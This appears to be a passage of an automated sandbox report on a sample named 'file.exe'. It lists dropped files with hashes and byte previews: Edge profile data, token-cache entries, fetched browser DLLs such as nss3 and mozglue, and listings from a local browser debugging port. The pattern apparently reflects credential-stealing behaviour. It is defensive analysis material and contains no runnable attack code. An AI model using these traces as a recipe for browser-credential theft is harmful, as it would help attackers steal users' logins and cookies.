Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.031099197223003
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclVzQUVY:YWLSGTt1o9LuLgfGBPAzkVj/T8lhe
MD5:	98311697D539E260E9241B5D79B286DE
SHA1:	FBEE5AC7917AF64877908857A5B415011B16AE1D
SHA-256:	3B9A25436544767EAFEBCE3A70B8F082D046452CD2D3F4D8C32B42BEC82F0389
SHA-512:	BD6B244C9BB6C9CA6234F55A03CC3A0CA68122AA01159018525D8028BBEAAE50EA299952D7F646CD9CDC18E03E522113CAA5D04D88E06A391BA34E7CA022E41F
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1730312859694348}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Indexed Rules\36\scoped_dir8160_1091630975\LICENSE

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24621
Entropy (8bit):	4.588191729390247
Encrypted:	false
SSDEEP:	384:mva5sf5dXrCN7tnBxpxkepTqzazijFgZk231Py9zD6WApYbm9:mvagXreRnTqzazWgj0v6XqK
MD5:	AAD9405766B20014AB3BEB08B99536DE
SHA1:	486A379BDFEECDC99ED3F4617F35AE65BABE9D47
SHA-256:	ED0F972D56566A96FB2F128A7B58091DFBF32DC365B975BC9318C9701677F44D
SHA-512:	BD9BF257306FDAFF3F1E3E1FCCB1F0D6A3181D436035124BD4953679D1AF2CD5B4CC053B0E2EF17745AE44AE919CD8FD9663FBC0CD9ED36607E9B2472C206852
Malicious:	false
Preview:	EasyList Repository Licences.... Unless otherwise noted, the contents of the EasyList repository.. (https://github.com/easylist) is dual licensed under the GNU General.. Public License version 3 of the License, or (at your option) any later.. version, and Creative Commons Attribution-ShareAlike 3.0 Unported, or.. (at your option) any later version. You may use and/or modify the files.. as permitted by either licence; if required, "The EasyList authors.. (https://easylist.to/)" should be attributed as the source of the.. material. All relevant licence files are included in the repository..... Please be aware that files hosted externally and referenced in the.. repository, including but not limited to subscriptions other than.. EasyList, EasyPrivacy, EasyList Germany and EasyList Italy, may be.. available under other conditions; permission must be granted by the.. respective copyright holders to authorise the use of their material.......Creative Commons Attribut

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Indexed Rules\36\scoped_dir8160_1091630975\Ruleset Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2983304
Entropy (8bit):	5.371584711667006
Encrypted:	false
SSDEEP:	49152:tR7JA+2v9VbvQu0rtJtPCRxWPsDaR0B/1Qnph9PqxC:36vL0Dr9P7
MD5:	16176AA639F8D0BF6C1A823F9D973D8C
SHA1:	F1F365A4705A3FCAB04BC4AA8F080ED7AE2F372C
SHA-256:	75DA3C6ADD63A83EFB735AE0F1F4E6578607EA33187753B0F65F750A1AB0AB34
SHA-512:	D8711E8A2D417F1F9B81A13D04951420460D1BE2DD0459916A3226F364B65CD77FC0FEB4BE22412DF3DA0A2433CD924DF7D0684FAB04A2C6CF3A6E9715EA9F84
Malicious:	false
Preview:	............`Q..l............... ....u..............z]....)...).t.).d.).P.).8.). .)...)..)..)..)...)...)...).\|.).h.).T.).@.).$.)...)...)..)...)...)...).\|.).h.).T.).8.).$.)...)...)..)..)..)...)...)...).d.).D.). .)...)...)..)..)...)...)...).\|.).l.).T.).<.).$.)...)...)..)..)..)...)...)...).p.).\.).H.).4.)...)...)..)..)..)...)...)...).l.).X.).<.).,.)...)..)..)...)...)...).p.).X.).@.).(.)...)...)..)..)...)...)...).p.).P.).<.).(.)...)...)..)..)..)...)...)...).x.).d.).P.).0.)...)...)...)..)..)...)...)...).l.).T.).@.).0.)...)...)..)..)..)...)...)...).p.).T.).4.)...)..)..)...)...).\|.).`.).P.).8.)...)...)..)..)..)...)...)...).p.).X.).D.).0.)...)..)..)...)...).x.).T.).0.)...)...)..)..)...)...)...).\|.).`.).D.).0.)...)...)..)..)...)...)...).x.).d.).L.).0.)...)...)..)..)...)...).l.).\.).H.).0.)...)...)..)..)...)...)...).p.).\.).H.).4.)...)...)..)..)...)...)...).d.).T.).@.).0.)...)...)..)..)...)...).x.).\.).H.).8.).$.)...)...)..)..)...)...)...).p.).\.).

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQan:YQ3Kq9X0dMgAEwjM
MD5:	961E3604F228B0D10541EBF921500C86
SHA1:	6E00570D9F78D9CFEBE67D4DA5EFE546543949A7
SHA-256:	F7B24F2EB3D5EB0550527490395D2F61C3D2FE74BB9CB345197DAD81B58B5FED
SHA-512:	535F930AFD2EF50282715C7E48859CC2D7B354FF4E6C156B94D5A2815F589B33189FFEDFCAF4456525283E993087F9F560D84CFCF497D189AB8101510A09C472
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":0}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b326bdfc-cf73-4f84-9a1f-4ae0cfe7ba7c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44906
Entropy (8bit):	6.095768942131799
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWiyi1zNt6ivtNUvpjgfFpkKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7ynLtGKtSmd6qE7lFoC
MD5:	1C6037061CDF107F58EFFDC284EC8DE7
SHA1:	E45585589F08198EF9A6BE024C1CB2AA86BB74CF
SHA-256:	B6139466034C87BBAA838BA890470B021332A36211172715D68B8C535649E7B6
SHA-512:	4E54245DB616D3C899A025E4D7AB5102E7BC812E8AFDA6F616B97226DDAB2446EB986DF69E5DC43C9D3BE1C0EEA13F6658C12F1ADFEA21735AF2F1B525471674
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8520854600833925
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx2vxl9Il8u6xe+JMHNJbJQ3CN6kucWOjd1rc:mrbYyxMHNJ+wu0E
MD5:	E2A76A66B5E0B01B58DE56DD78CB81B5
SHA1:	1DE47FAEE2002E20E1CACE7F5F50820C94294156
SHA-256:	90193A1896A2E614B7711DF77F0E910DBA67A3C120EDC85D9BD6CBE427C0F651
SHA-512:	42E9A187FD7DF0E73C7E7DCF33395C68B02A588E3671D0ECFEC8AAC944E1A1ADC538D87D30F4B718A4ABAC35176004A59012B1BDB8950CE9D6D3A0A23DA3F2E0
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.N.T.U.F.x.c.q.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.x.T.m.W.w.3.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.0008670626573135
Encrypted:	false
SSDEEP:	48:uiTrlKxExwxD9Il8u6xe5dQ1AcOc4Zxd4BrDmyoM2qRVeugSDgSIL80LFUcSP0yl:iYy++R4PqBVo1qitSkzpUfxYL96
MD5:	BF176A1CFAB9B464F251243AEE8AB89A
SHA1:	46334E5FB2EEDAF352A30AFCAFAF0451C5DE3092
SHA-256:	5DFF02706BDBC014F097A992D3D87DAE4352FD6D33204F2898F524AB718E57D3
SHA-512:	46820B7004380BAA1BF83701D57CDCE79F3590728141D19EA9A24743EEA8E883FC27A4F3943578A4241E34308BFD7431EBD2EF732D96857DB5F497AD5751A0BB
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".R.2.i.4./.Q.4.q.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.x.T.m.W.w.3.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.893369314996456
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xnxl9Il8u6xeLasIhGmaFHDk2uUfAL83+0XN/31/d/vc:apYy8aGmAk2dAL83+0XN/s
MD5:	F699F595240662AEBD625FD67B84418C
SHA1:	35F1D04DBAD05E4D944CFE28B755FBB497AD32F2
SHA-256:	A68F8778058D97B86BBDECCB08B555E1ABA5F260871B77C002E2BDC53CBA3133
SHA-512:	87F2DB4E814A0BC1E5A0EFA07864C7A280E9840517DA11D593B7603181532454E21AF3CEDB37CDE712F255F873C3D91CF3D98EDB05072033C3AA28BA1038372F
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".y.k.g.c.L.u.B.I.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.x.T.m.W.w.3.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.398536842225957
Encrypted:	false
SSDEEP:	96:6NnQaHQaNnQ3n+O+HbQ3n+iNnQs9QKNnQAfXKdgEQAfqNnQYQ1NnQkDQCNnQenwk:6NJNYhjBNrNZyPCNaNRNNDsNu
MD5:	14ED42D2A731823BCB1A86AEA18981F9
SHA1:	B6F84A4E2BFC4D08B0101050012336B59001AF3A
SHA-256:	6BC562075BD8F5A1712048F9B640BD8A0F262FAC65DF0C4E171D1B09864C9078
SHA-512:	5227734FFE9B86A5BDF7878DFAF401FFE456801047955448A9F8F31B0087A89AB4EC37566152BA168EE5E929942703B4C42C3AF1DA0FD08095428B0A835F6BCD
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/9DFDB40C59B9DAA56F445476C714311A",.. "id": "9DFDB40C59B9DAA56F445476C714311A",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/9DFDB40C59B9DAA56F445476C714311A"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/F284E64C7832522C3B1B852F6410BCE6",.. "id": "F284E64C7832522C3B1B852F6410BCE6",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/F284E64C7832522C3B1B852F6410BCE6"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.372634071880623
Encrypted:	false
SSDEEP:	48:SfNaoQ9jHTEQ9QYfNaoQuKYQuLfNaoQJQHfNaoQ54hM0UrU0U8Q54W:6NnQZTEQKkNnQ0Q8NnQJQ/NnQF0UrU0m
MD5:	11D3938C262386223E85E7B231C8256F
SHA1:	557D8923F7BED3A7C2748E9905CCE682DF817EB2
SHA-256:	16F22B906A61970325351BFBE7BDC22E8CD3D21FD167E738D5E852A030D91B7D
SHA-512:	FE98252D468D48DDE43D01DBAD08970E07AF0F90D5D492E3A6003CC714A0C553FCFB7EFCDC823923B752BD2263A77EF5A2F9A172995D8130149F901420A095CC
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/C4574994EA777EBD605DE914AA01A2C2",.. "id": "C4574994EA777EBD605DE914AA01A2C2",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/C4574994EA777EBD605DE914AA01A2C2"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/82668EFA32D83698EB5C307442CD19B2",.. "id": "82668EFA32D83698EB5C307442CD19B2",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/82668EFA32D83698EB5C307442CD19B2"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
